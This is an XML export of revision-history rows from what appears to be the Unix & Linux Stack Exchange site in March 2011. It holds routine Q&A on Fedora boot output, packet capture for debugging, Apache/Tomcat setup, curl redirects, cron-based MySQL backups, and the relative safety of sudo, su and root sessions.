  <row Id="20214" PostHistoryTypeId="2" PostId="8565" RevisionGUID="59fb35c7-1744-4c45-97fa-d92438d9c4cb" CreationDate="2011-03-04T08:02:02.647" UserId="3368" Text="Under `/sbin/start_udev`&#xD;&#xA;&#xD;&#xA;How can i remove the `[  OK  ]`&#xD;&#xA;&#xD;&#xA;To be printed.&#xD;&#xA;&#xD;&#xA;Im tryitng to change the `/etc/rc.sysinit` to display the information that i like, and i have managed to remove all the info outputs apart from the annoying `[  OK  ]`&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;Im using Fedora 13" />
  <row Id="20215" PostHistoryTypeId="1" PostId="8565" RevisionGUID="59fb35c7-1744-4c45-97fa-d92438d9c4cb" CreationDate="2011-03-04T08:02:02.647" UserId="3368" Text="Removing the [ OK ] From start_udev" />
  <row Id="20216" PostHistoryTypeId="3" PostId="8565" RevisionGUID="59fb35c7-1744-4c45-97fa-d92438d9c4cb" CreationDate="2011-03-04T08:02:02.647" UserId="3368" Text="éfedoraà" />
  <row Id="20217" PostHistoryTypeId="25" PostId="8565" RevisionGUID="83cc4497-46d5-4f0c-91a9-82c00eefb107" CreationDate="2011-03-04T08:23:37.653" Comment="http://twitter.com/#!/StackUnix/status/43587386436882432" />
  <row Id="20218" PostHistoryTypeId="2" PostId="8566" RevisionGUID="9bcf0bb5-f7e2-45eb-b396-4cf53269ce37" CreationDate="2011-03-04T08:37:42.877" UserId="3169" Text="This is all controlled by `/etc/sysconfig/init`.&#xD;&#xA;&#xD;&#xA;I'm pretty sure all you have to do is put&#xD;&#xA;&#xD;&#xA;    BOOTUP=verbose&#xD;&#xA;&#xD;&#xA;in that file.&#xD;&#xA;&#xD;&#xA;If not, also have a look at `/etc/init.d/functions` to see how that works, because it has some defaults in there if there's a problem with `/etc/sysconfig/init`." />
  <row Id="20219" PostHistoryTypeId="5" PostId="8566" RevisionGUID="82cdb2ab-49a3-4351-9821-c50db3449848" CreationDate="2011-03-04T08:42:53.640" UserId="3169" Comment="added 29 characters in body; added 275 characters in body" Text="This is all controlled by `/etc/sysconfig/init`.&#xD;&#xA;&#xD;&#xA;I'm pretty sure all you have to do is change it from&#xD;&#xA;&#xD;&#xA;    BOOTUP=color&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    BOOTUP=verbose&#xD;&#xA;&#xD;&#xA;After doing that, it should change from something like:&#xD;&#xA;&#xD;&#xA;    Stopping udev:                                             [  OK  ]&#xD;&#xA;    Starting udev:                                             [  OK  ]&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    Stopping udev: udev&#xD;&#xA;    Starting udev:&#xD;&#xA;&#xD;&#xA;Have a look at `/etc/init.d/functions` to see how that works.&#xD;&#xA;&#xD;&#xA;`start_udev` calls `success` to print the `[  OK  ]` message, and `/etc/init.d/functions` is where `success` is defined." />
  <row Id="20220" PostHistoryTypeId="12" PostId="8565" RevisionGUID="c2b69512-122a-4df3-9267-b11f76de7b66" CreationDate="2011-03-04T09:00:07.153" UserId="3368" Text="[{&quot;Id&quot;:3368,&quot;DisplayName&quot;:&quot;whoami&quot;}]" />
  <row Id="20224" PostHistoryTypeId="2" PostId="8568" RevisionGUID="4ad4d805-8dce-4e6e-82b7-c6dd1ed03944" CreationDate="2011-03-04T11:22:44.347" UserId="903" Text="I need to see whole HTTP packets sent and recieved by an application for debugging purposes. How can this be done in command-line?&#xD;&#xA;" />
  <row Id="20225" PostHistoryTypeId="1" PostId="8568" RevisionGUID="4ad4d805-8dce-4e6e-82b7-c6dd1ed03944" CreationDate="2011-03-04T11:22:44.347" UserId="903" Text="How can I see dumps of wholе HTTP packets?" />
  <row Id="20226" PostHistoryTypeId="3" PostId="8568" RevisionGUID="4ad4d805-8dce-4e6e-82b7-c6dd1ed03944" CreationDate="2011-03-04T11:22:44.347" UserId="903" Text="éhttpà" />
  <row Id="20227" PostHistoryTypeId="25" PostId="8556" RevisionGUID="6f2c6673-c705-428f-ace0-56010291a67a" CreationDate="2011-03-04T11:23:37.950" Comment="http://twitter.com/#!/StackUnix/status/43632684483878913" />
  <row Id="20228" PostHistoryTypeId="2" PostId="8569" RevisionGUID="d3aba567-712d-4585-b523-49073627c78d" CreationDate="2011-03-04T11:58:34.817" UserId="4949" Text="Use tcpdump.&#xD;&#xA;&#xD;&#xA;`tcpdump -w httpdebug.pcap -i eth0 port 80` will sniff all packets heading to or from port 80 on the eth0 interface and output them to `httpdebug.pcap`, which you can then read at your leisure, either with tcpdump again (with multiple `-x` options, refer to the tcpdump manpage ) in console if you're feeling masochistic, or with [wireshark][1]. &#xD;&#xA;&#xD;&#xA;I really can't recommend the latter highly enough, as it will let you sort out packets and follow the exact stream you want to see.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wireshark.org/" />
  <row Id="20229" PostHistoryTypeId="2" PostId="8570" RevisionGUID="18bf7079-ddfb-4fae-be50-fba8934e54b3" CreationDate="2011-03-04T12:00:04.657" UserId="4477" Text="If you really want to use command line for this there is [tcpflow][1]. It saves TCP streams to different files. The HTTP request and responses will be stored separately.&#xD;&#xA;&#xD;&#xA;    tcpflow -i wlan0 tcp port 80&#xD;&#xA;&#xD;&#xA;If you can use GUI try [Wireshark][2]. You can right click any packet and pick &quot;Follow TCP stream&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.circlemud.org/~jelson/software/tcpflow/&#xD;&#xA;  [2]: http://www.wireshark.org/" />
  <row Id="20231" PostHistoryTypeId="13" PostId="8565" RevisionGUID="52b344ff-06ef-4974-9b1a-a3cbdb679cde" CreationDate="2011-03-04T13:12:45.453" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="20232" PostHistoryTypeId="5" PostId="8565" RevisionGUID="a4fc974d-377c-48d5-a672-14627130e3e2" CreationDate="2011-03-04T13:13:30.367" UserId="73" Comment="deleted 11 characters in body; edited tags" Text="Under `/sbin/start_udev`, how can I remove the `[  OK  ]` so it's not printed?&#xD;&#xA;&#xD;&#xA;I'm trying to change `/etc/rc.sysinit` to display the information I like, and I have managed to remove all the info output apart from the annoying `[  OK  ]`&#xD;&#xA;&#xD;&#xA;Any ideas? I'm using Fedora 13" />
  <row Id="20233" PostHistoryTypeId="6" PostId="8565" RevisionGUID="a4fc974d-377c-48d5-a672-14627130e3e2" CreationDate="2011-03-04T13:13:30.367" UserId="73" Comment="deleted 11 characters in body; edited tags" Text="éfedoraàéudevàésysinità" />
  <row Id="20234" PostHistoryTypeId="2" PostId="8571" RevisionGUID="766438f7-6a3b-4453-b49a-cc678aa826f3" CreationDate="2011-03-04T13:22:11.823" UserId="5311" Text="I am trying to integrate apache and tomcat. I thus want apache to forward requests to tomcat.&#xD;&#xA;I am using the mod_jk module for apache to achieve this.&#xD;&#xA;&#xD;&#xA;So far I am trying to get tomcat to auto-gen the configuration files for the mod_jk - I add the relevant to my server.xml &#xD;&#xA;&#xD;&#xA;    &lt;Listener className=&quot;org.apache.jk.config.ApacheConfig&quot; modJk=&quot;/usr/lib/apache2/modules/mod_jk.so&quot; /&gt;&#xD;&#xA;&#xD;&#xA;This does not however work.&#xD;&#xA;&#xD;&#xA;Please could someone that has done this recently give me some direction. I suspect that a lot of the documentation is for old versions of apache and tomcat." />
  <row Id="20235" PostHistoryTypeId="1" PostId="8571" RevisionGUID="766438f7-6a3b-4453-b49a-cc678aa826f3" CreationDate="2011-03-04T13:22:11.823" UserId="5311" Text="Apache and Tomcat integration" />
  <row Id="20236" PostHistoryTypeId="3" PostId="8571" RevisionGUID="766438f7-6a3b-4453-b49a-cc678aa826f3" CreationDate="2011-03-04T13:22:11.823" UserId="5311" Text="éapacheà" />
  <row Id="20241" PostHistoryTypeId="2" PostId="8573" RevisionGUID="d0ab309c-3be4-4618-bfa6-69fe9586ce92" CreationDate="2011-03-04T14:09:20.707" UserId="5311" Text="Okay, I got it. You have to include the worker.properties before it will generate the mod_jk.conf" />
  <row Id="20242" PostHistoryTypeId="5" PostId="8556" RevisionGUID="2ca90450-b78d-4399-a708-3c8c9a9fc0f8" CreationDate="2011-03-04T14:14:47.460" UserId="-1" Comment="Minor formatting" Text="I have a weird issue going on. I have a user account and I can login to Gnome normally. From a terminal there I can use `su root` and switch to root with my root password. However, when I try to login to Gnome as root, the same password does not work. &#xD;&#xA;&#xD;&#xA;I'm using Fedora 13 on a Dell Inspiron 6400" />
  <row Id="20243" PostHistoryTypeId="4" PostId="8556" RevisionGUID="2ca90450-b78d-4399-a708-3c8c9a9fc0f8" CreationDate="2011-03-04T14:14:47.460" UserId="-1" Comment="Minor formatting" Text="Root password not working" />
  <row Id="20244" PostHistoryTypeId="24" PostId="8556" RevisionGUID="2ca90450-b78d-4399-a708-3c8c9a9fc0f8" CreationDate="2011-03-04T14:14:47.460" Comment="Proposed by 98.223.228.45|8db1bb93-df73-4cf2-8a35-c963c95918a8 approved by 29 edit id of 178" />
  <row Id="20245" PostHistoryTypeId="25" PostId="8568" RevisionGUID="6ce248d7-2bc5-47fb-8a47-e44cf62f0267" CreationDate="2011-03-04T14:23:38.297" Comment="http://twitter.com/#!/StackUnix/status/43677986867785728" />
  <row Id="20246" PostHistoryTypeId="5" PostId="8545" RevisionGUID="c3f88e9c-bac3-4c67-b2be-d010f07b0c9f" CreationDate="2011-03-04T14:41:09.373" UserId="250" Comment="add more detail as requested " Text="I believe [FollowSymLinks][1] is what you are looking for. First you have to locate the Apache configuration files. If you install Apache using your distro's package then they are more than likely to be in `/etc/apache2/` and the file you have to change is `httpd.conf`. If in your document root you have the symlink `wiki/media -&gt; /real/wiki/media` then you will need to create a `Directory` section like this:&#xD;&#xA;&#xD;&#xA;    &lt;Directory /wiki&gt;&#xD;&#xA;        Options FollowSymLinks&#xD;&#xA;    &lt;/Directory&gt;&#xD;&#xA;&#xD;&#xA;Please note that I am writing these from memory without any testing, so don't use these directions as is, consult the comments in the file, configuration guide for your distro and the Apache reference when in doubt.&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/mod/core.html#options" />
  <row Id="20247" PostHistoryTypeId="5" PostId="8370" RevisionGUID="32ca9389-e94c-4518-a666-c9aac60e0383" CreationDate="2011-03-04T14:45:22.653" UserId="2407" Comment="added 3 characters in body" Text="I have a few directories, some with a depth of 3, which contain mixed file types. What I need to do is to `rm -rf` all the subdirectories that do not contain filetype `foo`. &#xD;&#xA;&#xD;&#xA;Is this achievable with `find` somehow?&#xD;&#xA;I do know that I can use find like this:&#xD;&#xA;&#xD;&#xA;    find . ! -name '*.foo' -delete&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;to delete all files within the directories that do not contain any file of type `*.foo`. &#xD;&#xA;Now, how can I use this, to not only delete all unwanted files, but all directories and subdirectories which do not contain `*.foo`?" />
  <row Id="20248" PostHistoryTypeId="2" PostId="8574" RevisionGUID="cabe8dae-766a-4445-aee9-b426d5c5754b" CreationDate="2011-03-04T14:45:30.723" UserId="4248" Text="I'm curious about the security of leaving a root shell running inside a detached screen session. I typically never do this.&#xD;&#xA;&#xD;&#xA;Aside from the potential of my non-root user account being compromised (password exposed, ssh key compromised, etc), are there other vectors of entry into a detached, password-protected screen session I should be worried about, or can a detached screen session be considered inert?" />
  <row Id="20249" PostHistoryTypeId="1" PostId="8574" RevisionGUID="cabe8dae-766a-4445-aee9-b426d5c5754b" CreationDate="2011-03-04T14:45:30.723" UserId="4248" Text="Is it secure to leave a root shell running in detached screen session?" />
  <row Id="20250" PostHistoryTypeId="3" PostId="8574" RevisionGUID="cabe8dae-766a-4445-aee9-b426d5c5754b" CreationDate="2011-03-04T14:45:30.723" UserId="4248" Text="ésecurityàéscreenàérootà" />
  <row Id="20251" PostHistoryTypeId="2" PostId="8575" RevisionGUID="f097ba6d-2d28-4223-bbe5-2089560477a5" CreationDate="2011-03-04T15:02:47.883" UserId="2671" Text="The pipes created by screen are only accessible by the owner, therefore this shouldn't be a security issue." />
  <row Id="20252" PostHistoryTypeId="2" PostId="8576" RevisionGUID="a047ebec-b81b-46e6-9f81-f212eb8876f5" CreationDate="2011-03-04T15:35:11.600" UserId="2511" Text="I think it is a security issue, because that &quot;Aside from the potential of my non-root user account being compromised&quot; can be rather large.&#xD;&#xA;&#xD;&#xA;But there are other increased risks beyond that. You've now opened yourself up to a theoretical exploit which allows one to change permissions in the screen socket dir (`/var/run/screen` on my system, but sometimes `/tmp` is used). That exploit now has an path to getting root, which it might not otherwise.&#xD;&#xA;&#xD;&#xA;`sudo` has other advantages, if you can train yourself to use it for each command rather than doing `sudo su -`. It logs actions (which, unless you're logging remotely, doesn't meaningfully increase security, but does give you a trail of what _you've_ done). And it helps prevent accidents by requiring intentional escalation for each command, rather than switching to an entirely-privileged session." />
  <row Id="20253" PostHistoryTypeId="4" PostId="8556" RevisionGUID="4e725f4c-96cd-4f9b-af9c-af43dc6dbed6" CreationDate="2011-03-04T15:45:48.097" UserId="2511" Comment="edited tags; edited title" Text="Root password not working to log in to Gnome with gdm" />
  <row Id="20254" PostHistoryTypeId="6" PostId="8556" RevisionGUID="4e725f4c-96cd-4f9b-af9c-af43dc6dbed6" CreationDate="2011-03-04T15:45:48.097" UserId="2511" Comment="edited tags; edited title" Text="éfedoraàéloginàérootàégdmà" />
  <row Id="20255" PostHistoryTypeId="5" PostId="7876" RevisionGUID="a4502772-500d-469f-ae3f-cf44019e0992" CreationDate="2011-03-04T15:46:17.147" UserId="73" Comment="added 326 characters in body" Text="&lt;p&gt;&#xA;    On Stack Exchange, we believe the core moderators should come &lt;i&gt;from&lt;/i&gt; the community, and be elected by the community&#xA;    itself through popular vote. We hold regular elections to determine who these community moderators will be.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;    Community moderators are &lt;a href=&quot;http://blog.stackoverflow.com/2009/05/a-theory-of-moderation/&quot;&gt;accorded the highest level of &#xA;    privilege on our community&lt;/a&gt;, and should themselves be exemplars of positive behavior and leaders within the community.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;    Our general criteria for moderators is as follows:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;    &lt;li&gt;patient and fair&lt;/li&gt;&#xA;    &lt;li&gt;leads by example&lt;/li&gt;&#xA;    &lt;li&gt;shows respect for their fellow community members in their actions and words&lt;/li&gt;&#xA;    &lt;li&gt;open to some light but firm moderation to keep the community on track and resolve (hopefully) uncommon disputes and exceptions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&#xA;    Every election has three phases:&#xA;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;    &lt;li&gt;Nomination&lt;/li&gt;&#xA;    &lt;li&gt;Primary&lt;/li&gt;&#xA;    &lt;li&gt;Election&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;    You can read more about the election process &lt;a href=&quot;http://blog.stackoverflow.com/2010/12/stack-exchange-moderator-elections-begin/&quot;&gt;on the blog&lt;/a&gt;, and ask any questions &lt;a href=&quot;http://meta.unix.stackexchange.com/questions/ask?tags=election&quot;&gt;on meta&lt;/a&gt;. If you're looking for a ton of detail and statistics on all the nominees, see the &lt;a href=&quot;http://se.awio.com/election.html&quot;&gt;election page&lt;/a&gt; put together by community member &lt;a href=&quot;http://meta.stackoverflow.com/users/150097/yi-jiang&quot;&gt;Yi Jiang&lt;/a&gt;. If you're looking for the candidates' opinions, a town hall chat was held partway through the election; see the &lt;a href=&quot;http://meta.unix.stackexchange.com/questions/495/2011-moderator-election-town-hall-chat-digest&quot;&gt;digest&lt;/a&gt; put together by community member &lt;a href=&quot;http://unix.stackexchange.com/users/1974/josh&quot;&gt;Josh&lt;/a&gt;.&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;    Please participate in the moderator elections by voting, and perhaps even by nominating yourself to be a community moderator!&#xA;&lt;/p&gt;" />
  <row Id="20256" PostHistoryTypeId="17" PostId="8578" RevisionGUID="d74ce776-69e1-4d2a-8e22-9383d64c388b" CreationDate="2011-03-04T15:52:03.370" UserId="-1" Comment="from http://stackoverflow.com/questions/5158404/why-curl-o-c-on-mac-fails-to-download/5158445#5158445" Text="" />
  <row Id="20257" PostHistoryTypeId="17" PostId="8579" RevisionGUID="c8bcf5a9-7cfe-48ea-a350-98832f661a6b" CreationDate="2011-03-04T15:52:03.370" UserId="-1" Comment="from http://stackoverflow.com/questions/5158404/why-curl-o-c-on-mac-fails-to-download/5194406#5194406" Text="" />
  <row Id="20258" PostHistoryTypeId="2" PostId="8578" RevisionGUID="4fa8fece-774f-4eb2-9319-538464e95b5b" CreationDate="2011-03-01T18:02:20.637" UserDisplayName="Marc B" Text="Have you checked if you're actually getting a .jar file?. Many download links do a silent redirect to where the file actually is, so you might be downloading only a few bytes with a `Location: ...` redirect which CURL isn't following.&#xD;&#xA;&#xD;&#xA;Open up the .jar file in a text editor and see what you've got. A real .jar should start with 'PK' (since it's a .zip file)." />
  <row Id="20259" PostHistoryTypeId="2" PostId="8579" RevisionGUID="bf796185-f9d7-4659-b306-be806ccb79fb" CreationDate="2011-03-04T13:34:30.737" UserId="5307" Text="&gt; curl -L&#xD;&#xA;&#xD;&#xA; works. It even follows redirects. I found this out [in this answer][1].&#xD;&#xA;Refer to [working script][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/2662943/wget-dont-follow-redirects&#xD;&#xA;  [2]: http://sourceforge.net/projects/dp4j/files/1.1/TESTDRIVE/download" />
  <row Id="20260" PostHistoryTypeId="2" PostId="8577" RevisionGUID="525cf688-1ff9-4a4c-a397-022d781beab3" CreationDate="2011-03-01T17:58:01.883" UserId="5307" Text="The following script works on Ubuntu, but not on Mac. Why? How to edit it so that it would work there too?&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;&#xD;&#xA;    v=1.1&#xD;&#xA;    test_file=&quot;Test10.java&quot;&#xD;&#xA;    jar_file=&quot;dp4j-$v-jar-with-dependencies.jar&quot;&#xD;&#xA;    &#xD;&#xA;    curl -O &quot;http://repo2.maven.org/maven2/com/dp4j/dp4j/$v/$jar_file&quot;&#xD;&#xA;    &#xD;&#xA;    # Start&#xD;&#xA;    cat &gt; $test_file &lt;&lt; __EOF__&#xD;&#xA;    class T10 {&#xD;&#xA;        private static void p(int i, Double d, String... s){}&#xD;&#xA;    }&#xD;&#xA;    public class Test10{&#xD;&#xA;        @com.dp4j.InjectReflection&#xD;&#xA;        public void t() {&#xD;&#xA;       T10.p(1,new Double(2),&quot;hello&quot;, &quot;reflection&quot;);&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    __EOF__&#xD;&#xA;    cat $test_file&#xD;&#xA;    cmd=&quot;javac -Averbose=true -cp $jar_file $test_file&quot;&#xD;&#xA;    echo $cmd&#xD;&#xA;    $cmd&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;The output on the mac:&#xD;&#xA;&#xD;&#xA;    $ sudo ./TESTDRIVE&#xD;&#xA;      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&#xD;&#xA;                                     Dload  Upload   Total   Spent    Left  Speed&#xD;&#xA;    100  341k  100  341k    0     0  1516k      0 --:--:-- --:--:-- --:--:-- 3248k&#xD;&#xA;    class T10 {&#xD;&#xA;        private static void p(int i, Double d, String... s){}&#xD;&#xA;    }&#xD;&#xA;    public class Test10{&#xD;&#xA;        @com.dp4j.InjectReflection&#xD;&#xA;        public void t() {&#xD;&#xA;      T10.p(1,new Double(2),&quot;hello&quot;, &quot;reflection&quot;);&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    javac -Averbose=true -cp dp4j-1.1-jar-with-dependencies.jar Test10.java&#xD;&#xA;    error: error reading dp4j-1.1-jar-with-dependencies.jar; cannot read zip file&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;$ md5 dp4j-1.1-jar-with-dependencies.jar &#xD;&#xA;MD5 (dp4j-1.1-jar-with-dependencies.jar) = eb04d0d357fd861ac414fde7d3530119&#xD;&#xA;" />
  <row Id="20261" PostHistoryTypeId="1" PostId="8577" RevisionGUID="525cf688-1ff9-4a4c-a397-022d781beab3" CreationDate="2011-03-01T17:58:01.883" UserId="5307" Text="Why curl -O -C on mac fails to download" />
  <row Id="20262" PostHistoryTypeId="3" PostId="8577" RevisionGUID="525cf688-1ff9-4a4c-a397-022d781beab3" CreationDate="2011-03-01T17:58:01.883" UserId="5307" Text="éscriptingàéubuntuàéterminalà" />
  <row Id="20263" PostHistoryTypeId="17" PostId="8577" RevisionGUID="afa9a3c7-4912-4461-a02b-e01371c9be50" CreationDate="2011-03-04T15:52:03.370" UserId="-1" Comment="from http://stackoverflow.com/questions/5158404/why-curl-o-c-on-mac-fails-to-download" Text="" />
  <row Id="20264" PostHistoryTypeId="2" PostId="8580" RevisionGUID="004c2035-ed29-4bb2-8ed8-62baaa37f322" CreationDate="2011-03-04T16:18:07.680" UserId="2180" Text="I'm curious how the build system ended up like this. Are you able to change it? At a minimum, you can create a flag that lets the scripts know the other one is already doing the job...&#xD;&#xA;&#xD;&#xA;    mkdir /tmp/flag.rmdirtest &amp;&amp; rm -rf /tmp/dirtest &amp;&amp; rmdir /tmp/flag.rmdirtest&#xD;&#xA;&#xD;&#xA;It would be better to re-architect the thing so that this isn't necessary." />
  <row Id="20265" PostHistoryTypeId="2" PostId="8581" RevisionGUID="808da283-4e63-46e2-9c6f-a3b4dcf5a938" CreationDate="2011-03-04T17:02:19.997" UserId="4477" Text="I would like to have the root account in safety even if my unprivileged user is compromised.&#xD;&#xA;&#xD;&#xA;On Ubuntu you can only use sudo for &quot;security reasons&quot; by default. However I am not sure it is any safer than just using login on a text-mode console. There are too many things that can go wrong if an attacker can run code as my normal user. For example adding aliases, adding stuff to my PATH, setting LD_PRELOAD and X11 keyloggers just to mention a few. The only advantage I can see is the timeout so I never forget to log out.&#xD;&#xA;&#xD;&#xA;I have the same doubts about su but it doesn't even have time limit. Some operations (especially IO redirection) are more convinient with su but security-wise this seems to be worse.&#xD;&#xA;&#xD;&#xA;Login on a text-mode console seems to be the safest. Since it is started by init if an attacker can control PATH or LD_PRELOAD he is already root. The keypress events can't be intercepted by programs running on X. I don't know if programs running on X can intercept [ctrl]+[alt]+[f1] (and open a fullscreen window that looks like a console) or it is safe like [ctrl]+[alt]+[del] on Windows. Besides that the only problem I see is the lack of timeout.&#xD;&#xA;&#xD;&#xA;So am I missing something? Why did the Ubuntu guys decide to only allow sudo? What can I do to improve the security of any of the methods?&#xD;&#xA;&#xD;&#xA;What about SSH? Traditionally root can't log in through SSH. But using the above logic wouldn't this be the safest thing to do:&#xD;&#xA;&#xD;&#xA;* allow root through SSH&#xD;&#xA;* switch to text-mode&#xD;&#xA;* log in as root&#xD;&#xA;* ssh to the other machine&#xD;&#xA;* log in as root?" />
  <row Id="20266" PostHistoryTypeId="1" PostId="8581" RevisionGUID="808da283-4e63-46e2-9c6f-a3b4dcf5a938" CreationDate="2011-03-04T17:02:19.997" UserId="4477" Text="Which is the safest way to get root privileges: sudo, su or login?" />
  <row Id="20267" PostHistoryTypeId="3" PostId="8581" RevisionGUID="808da283-4e63-46e2-9c6f-a3b4dcf5a938" CreationDate="2011-03-04T17:02:19.997" UserId="4477" Text="élinuxàésecurityàésudoàéloginàésuà" />
  <row Id="20268" PostHistoryTypeId="25" PostId="8574" RevisionGUID="f63b0b3a-a0f5-4942-8239-349d51ebe8cd" CreationDate="2011-03-04T17:23:38.540" Comment="http://twitter.com/#!/StackUnix/status/43723286303096832" />
  <row Id="20269" PostHistoryTypeId="5" PostId="2780" RevisionGUID="a0ded7d9-c22d-48ec-ba8a-00b017bc4af2" CreationDate="2011-03-04T17:30:20.277" UserId="732" Comment="Add link to A. Bartolich's How-To Write an ELF virus document" Text="First, it's certainly possible to have viruses under linux.  The inventor of the term &quot;computer virus&quot;, Fred Cohen, did his [first experiments][1] under 4.3BSD. A How-To document exists for [writing Linux viruses][2], although it looks like it hasn't had an update in 7 years or so.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Second, source code for sh-script computer viruses has floated around for better than 20 years.  See Tom Duff's [1988 paper][3], and Doug McIllroy's [1988 paper][4].  More recently, a [platform-independent LaTex virus][5] got developed for a conference. Runs on Windows and Linux and *BSD.  Naturally, its effects are worse under Windows...&#xD;&#xA;&#xD;&#xA;Third, a handful of real, live computer viruses for (at least) linux have appeared, although it's not clear if more than 2 or 3 of these (RST.a and RST.b) ever got found &quot;in the wild&quot;.&#xD;&#xA;&#xD;&#xA;So, the real question is not &quot;Can linux/unix/BSD contract computer viruses?&quot; but rather, &quot;Given how large the linux desktop and server population is, why doesn't that population have the kind of amazing plague of viruses that Windows attracts?&quot;&#xD;&#xA;&#xD;&#xA;I suspect that the reason has something to do with the mild protection given by traditional Unix user/group/other discretionary protections, and the fractured software base that linux supports.  I mean, my server still runs Slackware 12.1, but with a custom-compiled kernel and lots of re-compiled packages.  My desktop runs Arch, which is a rolling release.  Even though they both run &quot;linux&quot;, they don't have much in common.&#xD;&#xA;&#xD;&#xA;The state of viruses on linux may actually be the normal equilibrium.  The situation on Windows might be the &quot;dragon king&quot;, really unusual situation.  The Windows API is insanely baroque, Win32, NT-native API, magic device names like &quot;LP&quot;, &quot;CON&quot;, &quot;AUX&quot; that can work from any directory, the ACLs that nobody understands, the tradition of single-user, nay, single root user, machines, marking files executable by using part of the file name ('.exe'), all of this probably contributes to the state of malware on Windows.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://all.net/books/virus/index.html&#xD;&#xA;  [2]: http://virus.bartolich.at/virus-writing-HOWTO/_html/index.html&#xD;&#xA;  [3]: http://www.cs.bell-labs.com/who/dmr/tdvirus.pdf&#xD;&#xA;  [4]: http://cm.bell-labs.com/cm/cs/who/doug/v101.ps&#xD;&#xA;  [5]: http://cseweb.ucsd.edu/~hovav/dist/texhack.pdf" />
  <row Id="20270" PostHistoryTypeId="2" PostId="8582" RevisionGUID="123aa8b1-cd92-42ee-b712-51c438603815" CreationDate="2011-03-04T17:41:21.097" UserId="4648" Text="You seem to be assuming that using `sudo` always preserves environment variables, but this is not always the case. Here is an excerpt from the sudo manpage:&#xD;&#xA;&#xD;&#xA;&gt;  There are two distinct ways to deal&#xD;&#xA;&gt; with environment variables.  By&#xD;&#xA;&gt; default, the env_reset sudoers option&#xD;&#xA;&gt; is enabled.  This causes commands to&#xD;&#xA;&gt; be executed with a minimal environment&#xD;&#xA;&gt; containing TERM, PATH,&#xD;&#xA;&gt;        HOME, SHELL, LOGNAME, USER and USERNAME in addition to variables from&#xD;&#xA;&gt; the invoking process permitted by the&#xD;&#xA;&gt; env_check and env_keep sudoers&#xD;&#xA;&gt; options.  There is effectively a&#xD;&#xA;&gt; whitelist for environment variables.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If, however, the env_reset option is&#xD;&#xA;&gt; disabled in sudoers, any variables not&#xD;&#xA;&gt; explicitly denied by the env_check and&#xD;&#xA;&gt; env_delete options are inherited from&#xD;&#xA;&gt; the invoking process.  In this case,&#xD;&#xA;&gt; env_check and env_delete behave like a&#xD;&#xA;&gt; blacklist.  Since it is not possible&#xD;&#xA;&gt; to blacklist all potentially dangerous&#xD;&#xA;&gt; environment variables, use of the&#xD;&#xA;&gt; default env_reset behavior is&#xD;&#xA;&gt; encouraged.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In all cases, environment variables&#xD;&#xA;&gt; with a value beginning with () are&#xD;&#xA;&gt; removed as they could be interpreted&#xD;&#xA;&gt; as bash functions.  The list of&#xD;&#xA;&gt; environment variables that sudo allows&#xD;&#xA;&gt; or denies is contained in the output&#xD;&#xA;&gt; of sudo -V when run as root.&#xD;&#xA;&#xD;&#xA;So if `env_reset` is enabled (the default), an attacker can't override your `PATH` or other environment variables (unless you specifically add them to a whitelist of variables which should be preserved)." />
  <row Id="20271" PostHistoryTypeId="2" PostId="8583" RevisionGUID="3becae81-6a43-4bbf-a8f8-39dc78878f70" CreationDate="2011-03-04T17:41:34.773" UserId="5316" Text="I have inherited a VAX system that was just migrated onto CHARON-VAX (VMS emulated on Windows) I can access it via ssh, but not with X.&#xD;&#xA;Anyone here familiar with DECwindows? is it X compliant? Or do I need a specific client to access it? " />
  <row Id="20272" PostHistoryTypeId="1" PostId="8583" RevisionGUID="3becae81-6a43-4bbf-a8f8-39dc78878f70" CreationDate="2011-03-04T17:41:34.773" UserId="5316" Text="What client for DECwindows?" />
  <row Id="20273" PostHistoryTypeId="3" PostId="8583" RevisionGUID="3becae81-6a43-4bbf-a8f8-39dc78878f70" CreationDate="2011-03-04T17:41:34.773" UserId="5316" Text="éopenvmsà" />
  <row Id="20274" PostHistoryTypeId="2" PostId="8584" RevisionGUID="dbe46494-4854-4f1a-8836-9d05d7dbeea9" CreationDate="2011-03-04T17:57:39.600" UserId="5317" Text="Good afternoon,&#xD;&#xA;&#xD;&#xA;I'm setting up a Cronjob that will backup a MySQL database I have in my server, but I don't want it to keep overwriting the same file over and over again. Instead, I want to have an array of backups to choose from, done automatically. For example:&#xD;&#xA;&#xD;&#xA;    ## Cronjob, run May 21st, 2011:&#xD;&#xA;    mysqldump -u username -ppasword database &gt; /path/to/file/21-03-2011.sql&#xD;&#xA;    &#xD;&#xA;    ## SAME Conjob, run May 28th, 2011:&#xD;&#xA;    mysqldump -u username -ppasword database &gt; /path/to/file/28-03-2011.sql&#xD;&#xA;&#xD;&#xA;And so on.&#xD;&#xA;&#xD;&#xA;Is there any way that I can use the system date and/or time as some kind of variable in my Cronjob? If not, what are your suggestions to accomplish the same?" />
